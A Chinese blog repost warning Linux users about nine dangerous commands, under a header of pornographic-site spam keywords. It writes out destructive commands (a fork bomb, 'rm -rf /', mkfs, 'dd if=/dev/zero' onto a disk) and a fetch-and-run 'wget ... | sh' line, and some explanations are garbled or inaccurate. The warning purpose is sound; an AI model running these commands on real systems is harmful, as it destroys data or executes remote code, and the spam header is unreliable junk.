日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

9 个使用前必须再三小心的 Linux 命令

發布時間:2023/12/4 linux 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 9 个使用前必须再三小心的 Linux 命令 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Linux shell/terminal 命令非常強大即使一個簡單的命令就可能導致文件夾、文件或者路徑文件夾等被刪除。

在一些情況下Linux 甚至不會詢問你而直接執行命令導致你丟失各種數據信息。

一般來說在 Web 上推薦新的 Linux 用戶執行這些命令當然也有人哪些寫過這代碼的人不這么想因為這玩意你一寫下去就不是玩笑了。

這里我收集了一些對系統有危害的 Linux 代碼幫助你避免他們。請記住這些代碼非常危險甚至可以經過修改變得更加有危害性。

還有一些事情需要注意一些命令只在 Ubuntu 中有 sudo 前綴時是有危害的。其他發行版本的 Linux則是在作為根目錄命令時會有危害。

1. Linux Fork Bomb Command

:(){ :: & };: 以 Fork Bomb 聞名是一個拒絕服務攻擊的 Linux 系統。:(){ :: & };: 是一個 bash 函數。只要被執行他會不斷重復直到系統被凍結。

你只能重啟系統解決這個問題。所以當你在 Linux 界面執行這個命令時一定要注意。

2. Mv Folder/Dev/Null Command

mv folder/dev/null 也是一個危險的命令。Dev/null 或者 null device 是一個刪除所有寫在這個設備文件上數據的設備文件但是該操作提示卻是寫入操作執行成功。這就是我們常說的 bit bucked 或者 black hole。

3. Rm -Rf Command

rm -rf命令在 Linux 系統中可以快速刪除文件夾及其內容。如果你不知道如何正確使用它你就只有哭了。

列下m-rf 命令最常見的組合和選擇

  • rm command 刪除 Linux 系統的文件
  • rm -f command不需提示刪除文件中的只讀文件
  • rm -r command 循環刪除文件夾的內容
  • rm -d command 刪除空目錄如果非空目錄則不會執行該操作
  • rm -rf/ command強制刪除根目錄中的所有內容和子文件夾包括寫保護文件命令。
  • rm -rf* command 強制刪除當前目錄中的所有內容當前工作目錄和字文件夾
  • rm -rf. command強制刪除當前文件夾目錄/子目錄中的所有內容 。同 rm -r.1*
  • The rm -r.1* command 刪除文件及文件夾帶有刪除提示

4. Mkfs Command

如果你不知 mkfs 的作用那么它也是一個危險的命令mkfs 之后寫的任何命令都將會被一個空白的 linux 文件系統格式化、替代。

下面列舉出需要管理員權限格式化硬盤的命令

  • mkfs
  • mkfs.ext3
  • mkfs.bfs
  • mkfs.ext2
  • mkfs.minix
  • mkfs.msdos mkfs.reiserfs
  • mkfs.vfat
  • mkfs.cramfs 也可以和上面的代碼做同樣的事情不過不需要管理源權限。

5. Tar Bomb

tar 命令用于將多個文件以 .tar 格式放入一個文件中存檔文件。Tape Archive (Tar) bomb 可以由他創建。

當為壓縮時就是這個存檔文件生成數以萬計的相似名稱文件出現在當前目錄中而不是新目錄。

當收到 tar 文件定期創建一個新的保護目錄然后在解壓前將接受的 tar 文件放到這個目錄中你可以避免成為 tar bomb 的受害者。

6. Dd Command

Dd命令用于復制&改變硬盤分區。如果你用錯地方了那么也很危險。

下面列舉 dd 命令

  • dd if=/dev/hda of=/dev/hdb
  • dd if=/dev/hda of=/dev/sdb
  • dd if=something of=/dev/hda
  • dd if=something of=/dev/sda

下面這個命令會將整個主硬盤清零dd if=/dev/zero of=/dev/had

7. Shell Script Code

有時候你可能會被人坑給你一個 shell 腳本文件讓你去下載并執行它。該腳本可能會包含一些惡意的或危險的代碼。命令形式可能會是這樣wget http://some_malicious_source -O- sh。 wget 將會在 sh 狹隘腳本時下載腳本。

8. Malicious Source Code

也許有人會給你源代碼讓你編譯他。代碼可能是正常代碼不過有一些惡意代碼偽裝在大型源代碼中如果是這樣你的系統就中槍了。如何避免僅接受并編譯可信賴來源的源代碼。

9. Decompression Bomb

你已經收到一個壓縮文件你被要求提取這個看起來很小的文件可能小到 KB。事實上該小尺寸的壓縮文件包含高度壓縮數據。

只要文件解壓上百 GB 數據會被提取這時候過大的數據填滿硬盤導致宕機幾率就很大了。如何避免還是那句老話別手賤什么文件都去接收請接收可信任來源文件。

文章轉載自 開源中國社區 [http://www.oschina.net]


  • . ?
  • 總結

    以上是生活随笔為你收集整理的9 个使用前必须再三小心的 Linux 命令的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。